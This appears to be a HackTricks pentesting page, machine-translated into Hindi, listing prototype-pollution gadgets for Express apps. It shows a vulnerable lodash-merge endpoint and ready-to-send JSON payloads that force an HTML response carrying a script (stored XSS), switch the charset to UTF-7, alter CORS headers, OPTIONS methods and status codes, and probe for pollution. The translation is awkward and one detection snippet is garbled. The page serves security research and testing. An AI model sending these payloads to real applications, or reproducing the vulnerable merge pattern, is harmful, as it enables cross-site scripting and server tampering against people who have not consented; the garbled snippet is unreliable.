Express Prototype Pollution Gadgets
Reading time: 5 minutes
tip
AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाएँ देखें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमारे Twitter 🐦 @hacktricks_live** का पालन करें।**
- हैकिंग ट्रिक्स साझा करें और HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में PRs सबमिट करें।
XSS प्रतिक्रियाएँ प्रदान करें
अधिक जानकारी के लिए मूल शोध पर एक नज़र डालें
JSON सामग्री प्रकार को HTML में बदलें
एक Express ऐप में जो JSON सामग्री प्रकार प्रतिक्रिया का उपयोग कर रहा है और एक JSON को दर्शा रहा है:
app.use(bodyParser.json({ type: "application/json" }))
app.post("/", function (req, res) {
_.merge({}, req.body)
res.send(req.body)
})
इन मामलों में XSS सामान्यतः JSON सामग्री प्रकार के साथ संभव नहीं है। हालाँकि, प्रोटोटाइप प्रदूषण के साथ हम Express को HTML प्रतिक्रिया देने के लिए भ्रमित कर सकते हैं। यह भेद्यता इस पर निर्भर करती है कि एप्लिकेशन res.send(obj)
का उपयोग कर रहा है और application/json सामग्री प्रकार के साथ बॉडी पार्सर का उपयोग कर रहा है।
{ "__proto__": { "_body": true, "body": "<script>evil()" } }
body
और _body
प्रॉपर्टीज़ को polluting करके, Express को HTML कंटेंट टाइप सर्व करने और _body
प्रॉपर्टी को दर्शाने के लिए मजबूर किया जा सकता है, जिससे स्टोर्ड XSS होता है।
Render UTF7
यह संभव है कि express UTF-7 कंटेंट को रेंडर करे:
{ "__proto__": { "content-type": "application/json; charset=utf-7" } }
सुरक्षित स्कैनिंग तकनीकें
JSON स्पेस
निम्नलिखित PP JSON के अंदर विशेषताओं को एक अतिरिक्त स्पेस देने के लिए बनाएगा जो कार्यक्षमता को बाधित नहीं करेगा:
{ "__proto__": { "json spaces": " " } }
फिर एक परावर्तित JSON इस तरह दिखेगा:
{"foo": "bar"} -- Note the extra space
Exposed Headers
निम्नलिखित PP गैजेट सर्वर को HTTP हेडर भेजने के लिए मजबूर करेगा: Access-Control-Expose_headers: foo
{ "__proto__": { "exposedHeaders": ["foo"] } }
यह CORS मॉड्यूल को स्थापित करने की आवश्यकता है
OPTIONS विधि
निम्नलिखित पेलोड के साथ, यह OPTIONS प्रतिक्रिया से एक विधि को छिपाना संभव है:
// Original reponse: POST,GET,HEAD
// Payload:
{"__proto__":{"head":true}}
//New response: POST;GET
स्थिति
आप निम्नलिखित PP पेलोड का उपयोग करके वापस किए गए स्थिति कोड को बदल सकते हैं:
{ "__proto__": { "status": 510 } }
त्रुटि
जब आप एक प्राइमिटिव जैसे कि स्ट्रिंग के साथ एक प्रोटोटाइप को असाइन करते हैं, तो यह कोई ऑपरेशन नहीं करता क्योंकि प्रोटोटाइप एक ऑब्जेक्ट होना चाहिए। यदि आप Object.prototype
को स्वयं एक प्रोटोटाइप ऑब्जेक्ट असाइन करने का प्रयास करते हैं, तो यह एक अपवाद फेंकेगा। हम इन दो व्यवहारों का उपयोग यह पता लगाने के लिए कर सकते हैं कि क्या प्रोटोटाइप प्रदूषण सफल रहा:
;({}).__proto__.__proto__ = {}(
//throws type exception
{}
).__proto__.__proto__ = "x" //no-op does not throw exception
Reflected Value
जब एक एप्लिकेशन अपनी प्रतिक्रिया में एक ऑब्जेक्ट शामिल करता है, तो __proto__
के साथ एक असामान्य नाम वाला एट्रिब्यूट बनाना जानकारीपूर्ण हो सकता है। विशेष रूप से, यदि केवल असामान्य एट्रिब्यूट प्रतिक्रिया में लौटाया जाता है, तो यह एप्लिकेशन की कमजोरियों का संकेत दे सकता है:
{ "unusualName": "value", "__proto__": "test" }
इसके अलावा, उन परिदृश्यों में जहां Lodash जैसी लाइब्रेरी का उपयोग किया जाता है, प्रोटोटाइप प्रदूषण (PP) के माध्यम से और सीधे ऑब्जेक्ट के अंदर एक प्रॉपर्टी सेट करना एक और निदान दृष्टिकोण प्रदान करता है। यदि ऐसी प्रॉपर्टी प्रतिक्रिया से छोड़ी जाती है, तो यह सुझाव देता है कि Lodash लक्ष्य ऑब्जेक्ट में प्रॉपर्टी के अस्तित्व की पुष्टि कर रहा है इससे पहले कि वह मर्ज करे:
{"__proto__":{"a":"value1"},"a":"value2","b":"value3"}
// If 'b' is the only property reflected, this indicates prototype pollution in Lodash
Misc
Allow Dots
Express में एक विकल्प है जो आपको क्वेरी स्ट्रिंग पैरामीटर से ऑब्जेक्ट बनाने की अनुमति देता है।
आप निश्चित रूप से इसका उपयोग एक बग चेन में प्रोटोटाइप प्रदूषण भेद्यता का लाभ उठाने के लिए कर सकते हैं।
{ "__proto__": { "allowDots": true } }
?foo.bar=baz
Node में एक ऑब्जेक्ट बनाता है।
संदर्भ
tip
AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाएँ देखें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमारे Twitter 🐦 @hacktricks_live** का पालन करें।**
- हैकिंग ट्रिक्स साझा करें और HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में PRs सबमिट करें।